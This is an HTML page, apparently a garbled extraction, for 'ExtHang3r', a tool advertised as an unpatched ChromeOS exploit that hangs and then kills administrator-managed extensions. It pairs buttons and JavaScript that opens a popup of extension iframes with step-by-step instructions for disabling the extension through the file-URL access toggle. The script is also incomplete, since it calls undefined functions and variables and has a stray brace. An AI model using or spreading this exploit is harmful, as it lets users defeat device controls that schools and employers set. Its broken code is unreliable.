Message
Message
DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ExtHang3r</title>
<link rel="shortcut icon" type="image/png"
href="https://raw.githubusercontent.com/Blobby-Boi/ExtHang3r/main/favicon.png">
<link rel="stylesheet" href="https://fonts.googleapis.com/css2?
family=Varela+Round&display=swap">
<style>
body {
font-family: 'Varela Round', sans-serif;
margin: 0;
padding: 0;
background-color: #f8f9fa;
color: #333;
}
header {
background-color: #343a40;
color: #fff;
padding: 10px 20px;
text-align: center;
display: flex;
align-items: center;
justify-content: center;
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1);
}
.logo {
width: 50px;
height: 50px;
margin-right: 10px;
}
.container {
max-width: 800px;
margin: 150px auto 0 auto;
padding: 20px;
text-align: center;
background: #fff;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
border-radius: 8px;
}
select {
font-family: 'Varela Round', sans-serif;
margin-bottom: 10px;
padding: 10px;
font-size: 16px;
border: 1px solid #ced4da;
border-radius: 4px;
width: 100%;
}
button {
font-family: 'Varela Round', sans-serif;
background-color: #007bff;
color: #fff;
border: none;
padding: 10px 20px;
font-size: 16px;
cursor: pointer;
border-radius: 5px;
margin-top: 10px;
transition: background-color 0.3s ease;
}
button:hover {
background-color: #0056b3;
}
.overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(0, 0, 0, 0.7);
display: none;
justify-content: center;
align-items: center;
z-index: 9999;
color: #fff;
font-size: 24px;
user-select: none;
flex-direction: column;
}
.spinner {
border: 6px solid rgba(255, 255, 255, 0.3);
border-top: 6px solid #fff;
border-radius: 50%;
width: 40px;
height: 40px;
animation: spin 1s linear infinite;
margin-bottom: 20px;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
#killExtensionText {
display: none;
margin-top: 20px;
color: #333;
font-size: 18px;
text-align: center;
background: #e9ecef;
padding: 20px;
border-radius: 8px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
}
#killButton {
display: none;
background-color: #dc3545;
color: #fff;
border: none;
padding: 10px 20px;
font-size: 16px;
cursor: pointer;
border-radius: 5px;
transition: background-color 0.3s ease;
}
#killButton:hover {
background-color: #9c1c28;
}
footer {
background-color: #343a40;
color: #fff;
text-align: center;
padding: 10px;
position: fixed;
bottom: 0;
width: 100%;
}
footer a {
color: #007bff;
text-decoration: none;
}
footer a:hover {
text-decoration: underline;
}
</style>
</head>
<body>
<header>
<img src="https://blobby-boi.github.io/BlobbypassXSS/favicon.png" alt="Logo"
class="logo">
<h1>ExtHang3r</h1>
</header>
<div class="container">
<p>ExtHang3r is an exploit that allows ChromeOS users to kill managed extensions
after the LTMEAT patch. It remains unpatched in all new ChromeOS versions as of
November 2024.</p>
<label for="iframeSelect" id="labelForIframeSelect">Select extension:</label>
<select id="iframeSelect">
</select>
<button onclick="warning();" id="hangButton">Hang Extension!</button>
<button id="killButton" onclick="openExtensionPopup();">Kill Extension!</button>
</div>
<footer>
<p>Made by <a href="https://github.com/Blobby-Boi/">Blobby Boi</a></p>
</footer>
<script>
async function checkExtensionURL(url) {
try {
const response = await fetch(url);
if (response.ok) {
return true;
} else {
return false;
}
} catch (error) {
return false;
}
}
if (!hasSupportedExtensions) {
const option = document.createElement("option");
option.value = "";
option.textContent = "No supported extensions installed";
selectElement.appendChild(option);
document.getElementById("hangButton").style.display = "none";
}
}
populateSelectOptions();
function warning() {
var overlay = document.getElementById("overlay");
overlay.style.display = "flex";
var iframeSelect = document.getElementById("iframeSelect");
var selectedOption = iframeSelect.options[iframeSelect.selectedIndex].text;
var selectedSrc = iframeSelect.value;
var popup = window.open("", "PopupWindow", "width=100,height=100");
var popupDocument = popup.document;
var popupBody = popupDocument.body;
var iframeContainer = popupDocument.createElement('div');
iframeContainer.id = 'iframeContainer';
popupBody.appendChild(iframeContainer);
replaceIframes(iframeContainer, selectedSrc);
setTimeout(function() {
popup.close();
var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 2,
selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2));
var extensionURL = "chrome-extension://" + extensionId;
var killExtensionText = document.getElementById("killExtensionText");
killExtensionText.innerHTML = "Now that the extension <strong>" +
selectedOption + "</strong> has been hanged, press the button above.";
setTimeout(function() {
overlay.style.display = "none";
killExtensionText.style.display = "block";
document.getElementById("killButton").style.display = "inline-block";
document.getElementById("hangButton").style.display = "none";
document.getElementById("iframeSelect").style.display = "none";
document.getElementById("labelForIframeSelect").style.display = "none";
document.getElementById("killButton").setAttribute("data-url",
selectedSrc);
}, 10000);
}, 5000);
}
function openExtensionPopup() {
var selectedSrc = document.getElementById("killButton").getAttribute("data-
url");
var extensionId = selectedSrc.substring(selectedSrc.indexOf("//") + 2,
selectedSrc.indexOf("/", selectedSrc.indexOf("//") + 2));
var killExtensionText = document.getElementById("killExtensionText");
document.getElementById("killButton").style.display = "none";
killExtensionText.innerHTML = "Make sure to keep this tab open. Then in a new
tab open <strong>chrome://extensions/?id=" + extensionId + "</strong> Flip the
switch called allow access to file URLs twice. The extension was successfully
killed! Now you can close that tab as well as this one. If you want to restore the
extension, flip the allow access to file URLs switch again.";
window.location.href = selectedSrc;
}
</script>
</body>
</html>